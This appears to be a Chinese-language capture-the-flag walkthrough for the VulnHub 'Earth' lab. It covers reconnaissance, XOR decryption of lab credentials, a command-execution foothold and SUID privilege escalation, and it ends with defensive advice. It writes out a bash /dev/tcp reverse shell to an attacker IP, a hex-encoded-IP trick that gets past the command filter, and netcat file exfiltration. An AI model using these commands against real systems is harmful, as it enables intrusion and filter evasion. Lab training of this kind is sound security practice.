vulnhub系列1——Earth
字数 1295 2025-08-11 22:57:23

VulnHub靶场Earth渗透测试教学文档

1. 靶场概述

Earth是VulnHub上的一个CTF靶场,难度中等,主要考察信息收集、Web应用安全、权限提升等技能。本教学文档将详细讲解渗透测试全过程。

2. 环境准备

  • 靶机:Earth (IP: 192.168.56.104)
  • 攻击机:Kali Linux
  • 网络配置:NAT或桥接模式

3. 渗透测试过程

3.1 信息收集

3.1.1 主机发现

使用netdiscover扫描同网段存活主机:

netdiscover -r 192.168.56.0/24

3.1.2 端口扫描

使用nmap进行详细扫描:

nmap -sV -Pn -sC 192.168.56.104

预期发现开放端口:

  • 22/tcp - SSH
  • 80/tcp - HTTP

3.1.3 Web应用探测

  1. 添加DNS记录到hosts文件:
echo "192.168.56.104 earth.local" >> /etc/hosts
  1. 访问robots.txt文件:
http://earth.local/robots.txt
  1. 使用目录爆破工具(如dirb、gobuster)进行模糊测试:
gobuster dir -u http://earth.local -w /usr/share/wordlists/dirb/common.txt

3.2 Web应用渗透

3.2.1 获取凭据

  1. 在Web应用中寻找线索,可能发现:

    • 经过XOR加密的字符串
    • 用户名提示:terra
  2. 使用Python脚本解密:

# XOR解密脚本示例
encrypted_data = "..."  # 替换为实际发现的加密数据
key = "..."             # 替换为发现的密钥或通过分析得出的密钥

decrypted = bytes([a ^ b for a, b in zip(encrypted_data, key)])
print(decrypted.decode('utf-8'))
  1. 最终获得凭据:
    • 用户名:terra
    • 密码:earthclimatechangebad4humans

3.2.2 获取Shell

  1. 登录后台后寻找命令执行点

  2. 尝试反弹Shell(常规方法被过滤):

bash -i >& /dev/tcp/192.168.56.105/6666 0>&1
  1. 使用十六进制IP绕过过滤:
bash -i >& /dev/tcp/0xc0.0xa8.0x38.0x69/6666 0>&1

(将IP 192.168.56.105转换为十六进制形式)

  1. 在攻击机监听:
nc -lvnp 6666

3.3 权限提升

3.3.1 查找SUID文件

find / -perm -u=s -type f 2>/dev/null

发现可疑文件:/usr/bin/reset_root

3.3.2 分析reset_root

  1. 直接运行报错:
CHECKING IF RESET TRIGGERS PRESENT... 
RESET FAILED, ALL TRIGGERS ARE NOT PRESENT.
  1. 将文件传输到Kali分析:
    在靶机:

    nc -nv 192.168.56.105 1234 < /usr/bin/reset_root
    

    在Kali:

    nc -lp 1234 > reset_root
    
  2. 使用strace调试:

strace ./reset_root

发现程序检查以下文件是否存在:

  • /lib/console
  • /lib/bsd
  • /lib/initrd
  1. 创建所需文件:
touch /lib/console /lib/bsd /lib/initrd
  1. 再次运行reset_root获取root密码:
Earth

3.3.3 获取root权限

su root

输入密码:Earth

4. 关键知识点总结

  1. 信息收集技巧

    • 全面的端口扫描和服务识别
    • robots.txt文件的利用
    • 目录/文件模糊测试
  2. Web应用渗透

    • XOR加密的识别与解密
    • 十六进制IP编码绕过过滤
    • 命令注入的多种形式
  3. 权限提升方法

    • SUID文件利用
    • 二进制文件分析(strace)
    • 环境条件绕过
  4. 网络传输技巧

    • 使用netcat进行文件传输
    • 反弹Shell的多种形式

5. 防御建议

  1. 对Web应用:

    • 避免在客户端存储敏感加密信息
    • 实现更严格的命令过滤机制
    • 使用参数化查询防止注入
  2. 对系统安全:

    • 定期审计SUID文件
    • 避免在二进制文件中硬编码密码
    • 实施最小权限原则
  3. 对开发实践:

    • 避免依赖文件存在性作为安全条件
    • 对特权程序进行更严格的安全检查

6. 扩展练习

  1. 尝试不使用十六进制IP编码,寻找其他绕过方法
  2. 分析reset_root二进制文件,理解其完整工作原理
  3. 探索其他可能的提权路径(如内核漏洞)
  4. 尝试建立更稳定的后门连接

通过本靶场的练习,可以全面掌握从信息收集到权限提升的完整渗透测试流程,特别是Web应用安全和Linux系统安全方面的关键技能。

VulnHub靶场Earth渗透测试教学文档 1. 靶场概述 Earth是VulnHub上的一个CTF靶场,难度中等,主要考察信息收集、Web应用安全、权限提升等技能。本教学文档将详细讲解渗透测试全过程。 2. 环境准备 靶机:Earth (IP: 192.168.56.104) 攻击机:Kali Linux 网络配置:NAT或桥接模式 3. 渗透测试过程 3.1 信息收集 3.1.1 主机发现 使用netdiscover扫描同网段存活主机: 3.1.2 端口扫描 使用nmap进行详细扫描: 预期发现开放端口: 22/tcp - SSH 80/tcp - HTTP 3.1.3 Web应用探测 添加DNS记录到hosts文件: 访问robots.txt文件: 使用目录爆破工具(如dirb、gobuster)进行模糊测试: 3.2 Web应用渗透 3.2.1 获取凭据 在Web应用中寻找线索,可能发现: 经过XOR加密的字符串 用户名提示:terra 使用Python脚本解密: 最终获得凭据: 用户名:terra 密码:earthclimatechangebad4humans 3.2.2 获取Shell 登录后台后寻找命令执行点 尝试反弹Shell(常规方法被过滤): 使用十六进制IP绕过过滤: (将IP 192.168.56.105转换为十六进制形式) 在攻击机监听: 3.3 权限提升 3.3.1 查找SUID文件 发现可疑文件:/usr/bin/reset_ root 3.3.2 分析reset_ root 直接运行报错: 将文件传输到Kali分析: 在靶机: 在Kali: 使用strace调试: 发现程序检查以下文件是否存在: /lib/console /lib/bsd /lib/initrd 创建所需文件: 再次运行reset_ root获取root密码: 3.3.3 获取root权限 输入密码:Earth 4. 关键知识点总结 信息收集技巧 : 全面的端口扫描和服务识别 robots.txt文件的利用 目录/文件模糊测试 Web应用渗透 : XOR加密的识别与解密 十六进制IP编码绕过过滤 命令注入的多种形式 权限提升方法 : SUID文件利用 二进制文件分析(strace) 环境条件绕过 网络传输技巧 : 使用netcat进行文件传输 反弹Shell的多种形式 5. 防御建议 对Web应用: 避免在客户端存储敏感加密信息 实现更严格的命令过滤机制 使用参数化查询防止注入 对系统安全: 定期审计SUID文件 避免在二进制文件中硬编码密码 实施最小权限原则 对开发实践: 避免依赖文件存在性作为安全条件 对特权程序进行更严格的安全检查 6. 扩展练习 尝试不使用十六进制IP编码,寻找其他绕过方法 分析reset_ root二进制文件,理解其完整工作原理 探索其他可能的提权路径(如内核漏洞) 尝试建立更稳定的后门连接 通过本靶场的练习,可以全面掌握从信息收集到权限提升的完整渗透测试流程,特别是Web应用安全和Linux系统安全方面的关键技能。